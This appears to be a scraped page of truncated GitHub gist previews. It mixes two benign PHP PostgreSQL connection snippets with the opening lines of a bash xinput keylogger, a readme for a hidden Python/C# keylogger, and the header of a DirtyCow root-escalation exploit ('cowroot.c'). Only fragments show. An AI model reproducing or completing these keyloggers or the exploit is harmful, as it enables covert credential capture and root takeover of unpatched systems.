This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
set_time_limit(0); | |
$db = new PDO( | |
'pgsql:dbname=dbname host=host port=5432;options=--application_name=APPLICATION_NAME', | |
'user', | |
'password', | |
[ | |
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, | |
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# you'll have to get your keyboard id from xinput --list | |
# then start it like nohup ./keyboard.sh & and write down the pid | |
# shown. When you're done, just kill $pid and it will print the recorded | |
# keystrokes | |
handler(){ | |
killall -9 xinput | |
while read line; do | |
sed "s|$line|${mapa[$line]}|" <<< $line |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
------------------------------------------------------------PLEASE READ THIS------------------------------------------------------------ | |
I got the python from tinkernut and edited it a lot. | |
I then got the c# from http://null-byte.wonderhowto.com/how-to/create-simple-hidden-console-keylogger-c-sharp-0132757/. | |
this is open source so you may redistribute it anywhere and edit it how you like. | |
DO NOT USE IT ILLIGALY. I WILL NOT BE HELD RESPONSIBLE ILLIGAL USE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$db = new PDO( | |
"pgsql:dbname=postgres host=localhost port=5432", 'postgres', 'postgres', [ | |
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, | |
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, | |
] | |
); | |
$db->exec('LISTEN hoge'); |